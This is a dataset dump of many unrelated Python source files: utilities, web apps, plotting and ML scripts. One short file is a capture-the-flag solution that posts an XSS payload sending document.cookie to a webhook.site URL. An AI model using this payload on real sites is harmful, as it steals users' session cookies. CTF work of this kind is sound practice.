text
string
size
int64
token_count
int64
# simply handles the reply for hello by the user import re import random import os import sys import webbrowser from random import randint # getting the watson api functions here PATH = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), os.pardir)) sys.path.append(PATH) MUSIC_PATH = os.path....
1,328
458
""" utils.py - helper functions """ import logging import functools import operator from repoze.lru import lru_cache from gevent import spawn from gevent.subprocess import Popen, PIPE try: import boto3 except ImportError: boto3 = None def dump(app, logger): """ Run dump script as separate process ...
2,993
936
import colorlog handler = colorlog.StreamHandler() handler.setFormatter( colorlog.ColoredFormatter( "%(log_color)s%(levelname)s:%(name)s:%(filename)s:%(funcName)s: %(message)s" ) ) logger = colorlog.getLogger(__name__) logger.addHandler(handler)
264
94
# -*- coding: utf-8 -*- # daemon/pidfile.py # Part of python-daemon, an implementation of PEP 3143. # # Copyright © 2008–2010 Ben Finney <ben+python@benfinney.id.au> # # This is free software: you may copy, modify, and/or distribute this work # under the terms of the Python Software Foundation License, version 2 or # ...
1,467
439
import logging from django.db import transaction as db_transaction from django.conf import settings from django.utils import timezone from django.urls import reverse_lazy from zazi.core.utils import get_absolute_url, get_encrypted_text from .. import api from ..models import ( MpesaAccount, MpesaAccountBala...
11,258
3,088
#!/usr/bin/env python3 #JOHN Hammond method result import requests url = "https://pasteurize.web.ctfcompetition.com/" req = requests.post(url,data = { "content[]": ";new Image().src='https://webhook.site/8db05257-6ad1-44a9-979a-574c1caca5d6?asdf='+document.cookie//" }) print(req.text)
297
131
#!/usr/bin/python # # Usage: plot.py [input_file] [xlabel] [ylabel] [x] [y] [where] [where_values] [groupby] # # input_file: Input tsv file where the first row contains column names # xlabel: Label for plot horizontal axis # ylabel: Label for plot vertical axis # x: Name of column to plot on horizontal axis # y: Name o...
7,437
2,495
#!/usr/bin/python # -*- coding:UTF-8 -*- # -----------------------------------------------------------------------# # File Name: version.py # Author: Junyi Li # Mail: 4ljy@163.com # Created Time: 2021-01-27 # Description: # -----------------------------------------------------------------------# __version__ = "0.2.2"
320
102
import unittest import falcon import falcon.testing import app.util.json as json from app import create_app class TestBase(unittest.TestCase): def setUp(self): self.app = create_app() self.srmock = falcon.testing.StartResponseMock() def simulate_request(self, path, *args, **kwargs): ...
1,336
422
############################################################################## # # Copyright (c) 2009 Zope Foundation and Contributors. # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOF...
1,903
551
import os import codecs from shutil import copyfile from gensim.models import KeyedVectors from SPARQLWrapper import SPARQLWrapper, JSON def ns_filter(embeddings_file, namespaces): with open(embeddings_file) as file: raw_embs = [l.strip() for l in file] def belong_to_category(x): for prefix i...
2,280
824
try: from . import tiff print("full tiff support") except: print("no tiff support") try: import hdf5 print("full hdf5 support") except: print("no hdf5 support")
188
68
import os from tqdm import tqdm import pandas as pd from utilities.helper import get_bbox_middle_pos,drawBoundingBox from clustering.clustering_utils import get_person_id_to_track,get_groundtruth_person_id_to_track import cv2 from utilities.helper import * from utilities.pandas_loader import load_csv class Track_Visu...
6,292
2,075
#!/usr/bin/env python # -*- coding: utf-8 -*- ''' Coda plug-in Created on Apr 20, 2009 @author: sergey ''' import os from zencoding import zen_core from zencoding.settings import zen_settings zen_core.newline = os.getenv('CODA_LINE_ENDING', zen_core.newline) zen_core.insertion_point = '$$IP$$' cur_line = 'hello wor...
445
192
# uncompyle6 version 3.7.4 # Python bytecode 3.7 (3394) # Decompiled from: Python 3.7.9 (tags/v3.7.9:13c94747c7, Aug 17 2020, 18:58:18) [MSC v.1900 64 bit (AMD64)] # Embedded file name: T:\InGame\Gameplay\Scripts\Server\world\rentable_lot_tuning.py # Compiled at: 2014-09-09 00:07:16 # Size of source mod 2**32: 925 byte...
958
375
#!/usr/bin/python3 # Copyright 2018 Blade M. Doyle # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
7,099
2,390
# import igraph as ig # import numpy as np import pickle import pandas as pd from tqdm import tqdm import os import heapq import scipy.stats as stats from random import sample def build_cpd_df(fp): """ Takes 29 separate compound data files and combines them into a single pandas dataframe for ease of access A...
10,700
4,044
def test_drivetrain_nt(Notifier): import networktables from robot import Rockslide robot = Rockslide() robot.robotInit() drivetrain = robot.drivetrain drivetrain.periodic() assert networktables.NetworkTables.getTable("/Drivetrain/Left").getNumber("Position", None) == 0.0
303
99
""" Your function should return True if both parameters are integers, and False otherwise. """ def only_ints(a, b) -> bool: return type(a) == int and type(b) == int def tests() -> None: print(only_ints(4, 8)) print(only_ints(4, "u")) print(only_ints("a", 4)) print(only_ints(4, True)) if __name...
350
130
import os from json import dump from typing import List from media import Episode, Show from options import options class LimitedSeries(Show): """A LimitedSeries is a Show that has only 1 Season of Episodes. In this, only the Episodes need to be specified :param name: The name of this LimitedSeries ...
3,775
1,078
''' Python program to find the location of Python modulesources ''' #Location of Python module sources: import imp print("Location of Python os module sources:") print(imp.find_module('os')) print("\nLocation of Python sys module sources:") print(imp.find_module('datetime')) #List of directories of specific module: i...
462
127
import json import random from flask import Blueprint from flask import request from flask import session from sqlalchemy import and_ from sqlalchemy import or_ from urlparse import urlparse # from flask import current_app from gitRoulette import auth from gitRoulette import models from gitRoulette.utils import reque...
8,104
2,593
# # Copyright 2020 The dNation Jsonnet Translator Authors. All Rights Reserved. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requi...
1,556
476
import numpy as np import caffe import flowlib as fl import os import lmdb from PIL import Image VERBOSE = 0 SUBPIXELFACTOR = 4 MIN_FLOW = -4.18505 THRESHOLD = 1e8 PATCH_SIZE = 'FULL' def data2lmdb(): # define image and ground truth file train_imagefile1 = 'data/Urban3/frame10.png' # specify 1st image file train_i...
5,663
2,413
dataset_type1 = 'IcdarDataset' data_root1 = 'data/icdar15' train1 = dict( type=dataset_type1, ann_file=f'{data_root1}/instances_training.json', img_prefix=f'{data_root1}/imgs', pipeline=None) test1 = dict( type=dataset_type1, ann_file=f'{data_root1}/instances_validation.json', img_prefix=f...
778
322
#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright(c) 2019 Nippon Telegraph and Telephone Corporation # Filename: EmNetconfProtocol.py ''' Protocol processing section (Netconf) ''' import traceback import time import json from ncclient import manager from ncclient import operations import GlobalModul...
13,580
3,740
# Created by Matthias Mueller - Intel Intelligent Systems Lab - 2020 import os import tensorflow as tf def checkpoint_cb(checkpoint_path, steps_per_epoch=-1, num_epochs=10): # Create a callback that saves the model's weights every epochs checkpoint_callback = tf.keras.callbacks.ModelCheckpoint( filep...
1,935
680
import sys import os import dlib import glob from skimage import io predictor_path = "data/shape_predictor_68_face_landmarks.dat" faces_folder_path = "data/pics" detector = dlib.get_frontal_face_detector() predictor = dlib.shape_predictor(predictor_path) def sortKeyFunc(s): return int(os.path.basename(s)[:-4]) ...
856
326
"""Miscellaneous functions, mainly for testing.""" from __future__ import annotations import functools import warnings import numpy as np import rasterio as rio import geoutils from geoutils._typing import ArrayLike from geoutils.georaster import Raster, RasterType def array_equal( array1: RasterType | ArrayLi...
6,530
1,953
# UFSC - Campus Trindade # PPGEAS - Introducao a Algoritmos # Matuzalem Muller dos Santos # 2019/1 # Commented code is for calculating algorithm completixy and printing variables from random import randint import time import sys def merge_sort(array): # n = 0 if len(array) > 1: half = len(array) // 2 ...
1,860
610
import toml from typing import List, Dict from .artifact import Artifact class StructMember(Artifact): """ Describes a struct member that corresponds to a struct. """ __slots__ = ( "last_change", "member_name", "offset", "type", "size", ) def __init__...
2,239
684
# -*- coding: utf-8 -*- """ Author: Venkata Ramana P <github.com/itsmepvr> List files to an excel sheet """ import os, glob import sys from PyQt5 import QtCore, QtGui, QtWidgets from PyQt5.QtWidgets import QMainWindow, QApplication, QFileDialog, QMessageBox from PyQt5.QtWidgets import * from PyQt5.QtGui import * ...
9,070
3,144
#!/usr/bin/env python3 # -*- coding: utf-8 -*- class myBaseException(Exception): def __init__(self, errNum, errMsg): self.err = errNum self.msg = errMsg class myExcept_1(myBaseException): def __init__(self): super().__init__(13, "except 1") class myExcept_2(myBaseException): def __init__(self): super()....
1,215
510
from ..errors import DataRequiredError, ShortCircuitSignal from ..util import processor __all__ = ( 'required', 'optional', ) @processor def required(): def required_processor(data): if data is None: raise DataRequiredError() return data return required_processor @proce...
564
144
#!/usr/bin/env python3 import sys,argparse parser = argparse.ArgumentParser() parser.add_argument('-foo', nargs='+', help='foo values', required=False) args = parser.parse_args() for foo in args.foo: print("Foo: ",foo)
226
78
from parent_class import ParentPlural from typing import List class ParentPluralList( ParentPlural ): def __init__( self, att = 'list' ): ParentPlural.__init__( self, att = att ) self.set_attr( self.att, [] ) def __len__( self ): return len(self.get_list()) def __next__( self )...
1,594
499
import requests from json import dump import os from shutil import rmtree from tqdm import tqdm #Collects available data from CXIDB and saves to the given directory #out_dir: The path to the directory (which will be created) for the data files #existing_dir: # -1: Remove out_dir if it exists # 0: Error if...
1,454
482
from aiogram import types import config async def is_admin(message: types.Message): return message.from_user.id in config.ADMINS
136
42
#!/usr/bin/env python # -*- coding: utf-8 -*- from flask import Flask app = Flask(__name__) app.config.from_object("config")
127
50
import sys from argparse import ArgumentParser import os import pickle import random import worldengine.generation as geo from worldengine.common import array_to_matrix, set_verbose, print_verbose from worldengine.draw import draw_ancientmap_on_file, draw_biome_on_file, draw_ocean_on_file, \ draw_precipitation_on_f...
21,160
6,183
#!/usr/bin/python import sys import os def create_project_folders(projectFolders): create_folder(fullServicesFolder) for projectIndex in range(len(projectFolders)): projectFolder = fullServicesFolder + "/" + projectFolders[projectIndex] create_folder(projectFolder) open(projectFolder ...
1,432
445
from __future__ import print_function import tensorflow as tf from tensorflow.contrib import rnn import pandas as pd import numpy as np import random import time import os import datetime from tensorflow.python.client import timeline os.environ["CUDA_VISIBLE_DEVICES"] = "0" from sklearn.model_selection import train_t...
10,133
3,516
from napari.viewer import Viewer import napari_live_recording.devices as devices from napari_live_recording.widgets import CameraSelection from napari_live_recording.control import Controller from qtpy.QtWidgets import QWidget, QFormLayout, QGroupBox class NapariLiveRecording(QWidget): def __init__(self, napari_vi...
2,375
649
# Deep Learning Quick Reference Chapter 8: Transfer Learning # Mike Bernico <mike.bernico@gmail.com> # seed random number generators before importing keras import numpy as np np.random.seed(42) import tensorflow as tf tf.set_random_seed(42) from keras.applications.inception_v3 import InceptionV3 from keras.models im...
4,277
1,390
import torch from torch import nn from torch.nn import Conv2d, MaxPool2d, Flatten, Linear, Sequential from torch.utils.tensorboard import SummaryWriter class Tudui(nn.Module): def __init__(self): super(Tudui, self).__init__() self.model1 = Sequential( Conv2d(3, 32, 5, padding=2), ...
827
325
from typing import Optional from flask import url_for from flask_sqlalchemy import BaseQuery from ..ext import db from ..models import Brew, BrewerProfile def public_or_owner(query: BaseQuery, user: Optional[BrewerProfile]) -> BaseQuery: """Filter Brew query of all non-accessible objects. :param query: que...
1,232
384
from django.urls import reverse from rest_framework import status from rest_framework.test import APITestCase from bucketlist.models import Bucketlist, Item from bucketlist.tests.factories import (BucketlistFactory, UserFactory, ItemFactor...
11,355
3,167
import re class IsCellphone(): def __init__(self): self.p = re.compile(r'[1][^1269]\d{9}') def iscellphone(self, number): res = self.p.match(number) if res: return True else: return False class IsMail(): def __init__(self): self.p = re.com...
514
190
#!/usr/bin/env python3 # Copyright (c) 2017 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. import json import os import sys from framework.path.path import Path from framework.file.io import read_file...
1,626
497
import graphene import graphql_jwt from .resolvers import MemberResolvers from .types import MemberType, UserType class MemberQueries(graphene.ObjectType, MemberResolvers): member = graphene.Field(MemberType, id=graphene.ID(required=True)) all_users = graphene.List(UserType) all_members = graphene.List(M...
861
278
from functools import wraps from typing import List, Any from cookie_manager import CookieManager class CookieSecurityDecorator: _cookie_manager = None _request = None _cookie_name = None def init_app(self, request: Any, cookie_manager: CookieManager, cookie_name: str): """ Initialise...
1,540
404
# -*- coding: utf-8 -*- # Copyright (C) 2014 Evan Purkhiser # 2014 Ben Ockmore # 2019-2020 Philipp Wolfer # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either ...
6,394
2,115
# Spotify web application client ID CLIENT_ID = 'your_client_id' # Spotify web application client secret CLIENT_SECRET = 'your_client_secret' # Redirect URI. This can be any uri. # Howerver, you MUST add this uri to your Spotify web app's settings. # Application settings -> Edit Settings -> Redirect URIs. # Add...
398
129
import abc class AbstractStore(abc.ABC): def get(self, table, key, next_store_action): value = self.do_get(table, key) if not value: value = next_store_action(table, key) if value: # then update the local store self.do_set(table, key, value) return ...
1,210
381
from concurrent import futures from itertools import repeat import pathlib from pathlib import Path import pickle import time from typing import List, Tuple, Union import cv2 as cv2 import hdbscan import numpy as np import pims from sklearn.cluster import KMeans from sklearn.preprocessing import StandardScaler from tq...
11,062
3,816
# This package will contain the spiders of your Scrapy project # # Please refer to the documentation for information on how to create and manage # your spiders. import scrapy class ExampleSpider(scrapy.Spider): """ExampleSpider Auto generated by os-scrapy-cookiecuter Run: scrapy crawl example ...
390
117
from django.db import models from django.contrib.auth.models import User from django.utils import timezone from django.dispatch import receiver import os import shutil class Folder(models.Model): name = models.CharField(max_length=128) parent_folder = models.ForeignKey("self", null=True, blank=True, on_delete...
3,409
1,047
def is_success(code): return code == 'ok' def is_error_code(code): return code == 'ERROR'
100
37
# ***************************************************************** # # # # (C) Copyright IBM Corp. 2021 # # # # SPDX-License-Identifier: Apache-2.0 ...
2,435
609
# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. import os import unittest from cdm.utilities.logging import logger from cdm.enums import CdmObjectType, CdmStatusLevel, CdmIncrementalPartitionType from cdm.obje...
14,396
3,984
#!/usr/bin/env python from __future__ import division, absolute_import, print_function __author__ = 'andrea tramacere' from setuptools import setup, find_packages,Extension # from setuptools.command.install import install # from distutils.extension import Extension # import distutils.command.install as orig from d...
6,038
1,620
""" Module that provide a classifier template to train a model on embeddings. With use the pathogen vs human dataset as an example. The embedding of 100k proteins come from the protBert model. The model is built with pytorch_ligthning, a wrapper on top of pytorch (similar to keras with tensorflow) Feel feel to build ...
1,610
540
#Copyright 2022 Nathan Harwood # #Licensed under the Apache License, Version 2.0 (the "License"); #you may not use this file except in compliance with the License. #You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #Unless required by applicable law or agreed to in writing, sof...
5,589
1,783
# Sample BLAST parameters. PARAMS = { 'application': 'BLASTN', 'blast_cutoff': [ None, None ], 'database': 'manx-shearwater', 'database_length': 17465129, 'database_letters': None, 'database_name': [], 'database_sequences': 70016, 'date': '', 'dropoff_1st_pass': [...
6,857
2,614
# -*- coding: utf-8 -*- """.""" import re _UNIT_STRING_REGEX = r'^([0-9\.]+)(ml|cl|dl|l)$' def parse_unit(unit_string): """.""" lower_unit_string = unit_string.lower() match = re.match(_UNIT_STRING_REGEX, lower_unit_string) if match: try: return float(match.group(1)), match.gr...
420
160
import os import glob import unittest from ..utils import testing from ..utils import everion_keys from ..utils.file_helper import FileHelper from ..utils.data_aggregator import Normalization from ..visualization.vis_properties import VisProperties from ..data_analysis.cross_correlator import CrossCorrelator _MHEALTH...
6,659
2,140
#!/usr/bin/env python3 from typing import Dict, List try: import matplotlib.pyplot as plt MATPLOTLIB = True except: MATPLOTLIB = False from loguru import logger from .eval import EvalData def plot_losses(losses): if not MATPLOTLIB: logger.error("Maplotlib not installed. Halting the plot p...
1,471
535
import itertools import os import sys import cv2 import numpy as np from SelectiveSearch import SelectiveSearch images_path = "Images" annotations = "Annotations" cv2.setUseOptimized(True) selective_search = SelectiveSearch() train_images = [] train_labels = [] SS_IMG_SIZE = (224, 224) # chunk = int(sys.argv[1]) ...
3,277
1,224
rx = re.compile(r'\b%s\b' % r'\b|\b'.join(map(re.escape, adict)))
66
35
from django.contrib import admin from projects.models import Project class ProjectAdmin(admin.ModelAdmin): prepopulated_fields = {'slug': ['title']} list_display = ('title', 'git') admin.site.register(Project, ProjectAdmin)
233
65
from django.contrib.auth import get_user_model from django.db import transaction from rest_framework.exceptions import ValidationError from ..models import OfficeBlock, OfficeFloor, OfficeFloorSection from core.tests import CoreBaseTestCase User = get_user_model() class OfficeBlockModelTest(CoreBaseTestCase): ...
3,636
1,062
import pytest def test_collection_show(run_line, load_api_fixtures, add_gcs_login): data = load_api_fixtures("collection_operations.yaml") cid = data["metadata"]["mapped_collection_id"] username = data["metadata"]["username"] epid = data["metadata"]["endpoint_id"] add_gcs_login(epid) _result,...
2,481
885
import argparse import random import ihuntapp if __name__ == "__main__": parser = argparse.ArgumentParser(description='Build an #iHunt job app page.') parser.add_argument('--name', "-n", default="Unnamed job", help='Name of the job') parser.add_argument('--description', "-d", ...
2,044
605
import sys import os import csv from tqdm import tqdm import django from import_util import display_inserted, display_skipped project_dir = os.path.dirname(os.path.abspath(__file__)) sys.path.append(project_dir) os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings") django.setup() from core.models.asset import ...
4,945
1,042
def enum(*sequential, **named): enums = dict(zip(sequential, range(len(sequential))), **named) return type('Enum', (), enums) ENDPOINT_URLS_ENUM = enum( MAIN='https://api.mainnet-beta.solana.com', DEV='https://api.devnet.solana.com', TEST='https://api.testnet.solana.com', ) ENDPOINT_URLS = { "...
454
185
import pymongo import folium from pymongo import MongoClient db = MongoClient('mongodb+srv://admin:admin@cluster0-vuh1j.azure.mongodb.net/test?retryWrites=true&w=majority') db = db.get_database('BD_EMPRESAS') collection = db.empresas cnpj = [] latitude = [] longitude = [] qtd_range = [] endereco = [] cnpj = db....
812
335
import anasyspythontools as apt import pytest import glob import os TESTFOLDER = os.path.join(os.path.dirname(__file__),"test data") @pytest.mark.parametrize("filename", glob.glob(os.path.join(TESTFOLDER, "*.irb"))) class TestBG: def setup_method(self, filename): pass def teardown_metho...
835
275
import yaml from yaml import Loader, Dumper from .pathify import * class yml: def __init__(self): pass def dump(self, data, path : str ): '''Dumps incoming python data into a YAML file at `path`. ----- * `d...
1,015
285
from .template import template from .tools import tools from .LinearReg import LinearReg
88
20
# -*- coding:utf-8 -*- """ """ import numpy as np from hypernets.core.ops import Identity from hypernets.core.search_space import HyperSpace, Int, Real, Choice, Bool from hypernets.core.searcher import OptimizeDirection from hypernets.searchers.evolution_searcher import Population, EvolutionSearcher def get_space()...
6,994
2,703
from flask import jsonify from flask_restful import Resource, Api from .models import Player as PlayerModel, to_dict api = Api() class Player(Resource): def get(self): return jsonify([to_dict(player) for player in PlayerModel.query.all()]) api.add_resource(Player, '/')
286
86
import torch from torch.nn.utils.rnn import pad_sequence, pack_padded_sequence from core.utils.masks import pad_mask, subsequent_mask from core.utils.tensors import mktensor class Task71aCollator(object): def __init__(self, pad_indx=0, device='cpu'): self.pad_indx = pad_indx self.device = device ...
8,697
2,738
import operator import os as _os from pathlib import Path from string import ascii_letters from itertools import chain, permutations from functools import reduce from fakeos import FakeOS from hypothesis import given, assume, example from hypothesis.strategies import text, sets, integers, lists, just from filesyste...
22,748
8,018
"""Utilities =================== Various tools used in :mod:`ceed`. """ import re import pathlib from collections import deque from typing import List, Tuple, Any, Union __all__ = ( 'fix_name', 'update_key_if_other_key', 'collapse_list_to_counts', 'get_plugin_modules', 'CeedWithID', ) _name_pa...
6,129
1,990
import stripe from django.conf import settings from django.contrib.auth import get_user_model from django.contrib.auth.mixins import LoginRequiredMixin from django.contrib.messages.views import SuccessMessageMixin from django.urls import reverse from django.utils.translation import gettext_lazy as _ from django.views.g...
2,341
691
# question 1.4 from cracking the code interview 4th ed. ''' Write a method to decide if two strings are anagrams or not. ''' # if we sort the two string, they should be the same def areAnagram (str1, str2): # check is strings are valid if not isinstance(str1, str) or not isinstance(str2, str): return False # fir...
510
168
from baremetal import * from baremetal.signed import number_of_bits_needed from settings import Settings from math import log, pi from matplotlib import pyplot as plt import numpy as np import sys from math import log, ceil from numpy import log10 #settings for 100KS/s # hang attack decay # fast ...
2,516
980
# This program prompts a user to enter an integer and reports whether the integer is a palindrome or not # A number is a palindrome if its reversal is the same as itself. def reverse(number): position1 = number % 10 remainder1 = number // 10 position2 = remainder1 % 10 remainder2 = remainder1 // ...
737
235
from django.apps import AppConfig class RefugeeConfig(AppConfig): name = 'refugee'
89
30
from mozi.utils.theano_utils import shared_zeros, alloc_zeros_matrix, shared_ones from mozi.layers.template import Template from mozi.weight_init import OrthogonalWeight, GaussianWeight, Identity import theano.tensor as T import theano class LSTM(Template): def __init__(self, input_dim, output_dim, truncate_gra...
8,113
3,146
import threading from typing import Union from sqlalchemy import Column, Integer, String, Boolean from emilia.modules.sql import SESSION, BASE class PermanentPin(BASE): __tablename__ = "permanent_pin" chat_id = Column(String(14), primary_key=True) message_id = Column(Integer) def __init__(self, cha...
1,045
372
#!/usr/bin/env python3 # Before you can use Piggies, you need actual wallets. # To fetch and extract the wallet clients, and create wallet files: # mkdir wallets && cd wallets # # wget https://download.electrum.org/3.1.3/Electrum-3.1.3.tar.gz # tar xvzf Electrum-3.1.3.tar.gz # cd Electrum-3.1.3/ # mkdir -p ../../data...
3,985
1,589
# -*- coding: utf-8 -*- import sys import os import numpy as np import fourier as ff import matplotlib import warnings from matplotlib import pyplot as plt from os.path import isfile matplotlib.use('Agg') def warn(*args, **kwargs): print('WARNING: ', *args, file=sys.stderr, **kwargs) def fit_validate_model(mod...
22,024
7,765
# -*- coding: utf-8 -*- """facetool.annotator The files provides a Face Annotator in charge of combining the result of the Face Detector and Face Landmark in a single pandas DataFrame. This Face Annotator is the API built to be used by the end user. """ from facetool.detector import FaceDetector from facetool.landmar...
2,939
941
from __future__ import print_function import numpy as np import os from datetime import datetime from pygrn.problems import TimeRegression class AirQuality(TimeRegression): def __init__(self, namestr=datetime.now().isoformat(), learn=True, epochs=1, root_dir='./', lamarckian=False): data...
1,338
461
# This code is available under the MIT License. # (c)2010-2011 Nakatani Shuyo / Cybozu Labs Inc. # (c)2018-2019 Hiroki Iida / Retrieva Inc. import nltk import re import MeCab stopwords_list = nltk.corpus.stopwords.words('english') recover_list = {"wa":"was", "ha":"has"} wl = nltk.WordNetLemmatizer() def load_corpu...
3,572
1,261
# -*- coding: utf-8 -*- from pyramid.httpexceptions import HTTPBadRequest, HTTPNotFound from pyramid.view import view_defaults, view_config from kubb_match.data.mappers import map_team, map_game from kubb_match.data.models import Team from kubb_match.service.tournament_service import TournamentService class RestView(...
7,664
2,242
import codecs import numpy as np from word_beam_search import WordBeamSearch def apply_word_beam_search(mat, corpus, chars, word_chars): """Decode using word beam search. Result is tuple, first entry is label string, second entry is char string.""" T, B, C = mat.shape # decode using the "Words" mode of ...
2,651
967
"""add session type and instructor Revision ID: 54df4fb8dfe9 Revises: a3be4710680d Create Date: 2021-09-25 03:08:18.501929 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '54df4fb8dfe9' down_revision = 'a3be4710680d' branch_labels = None depends_on = None def...
859
328
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Tue Nov 27 22:31:17 2018 @author: qzane """ import numpy as np import matplotlib.pyplot as plt from argparse import ArgumentParser def read_points(fname): points = [] with open(fname) as f: while(1): tmp = f.readline() ...
1,656
553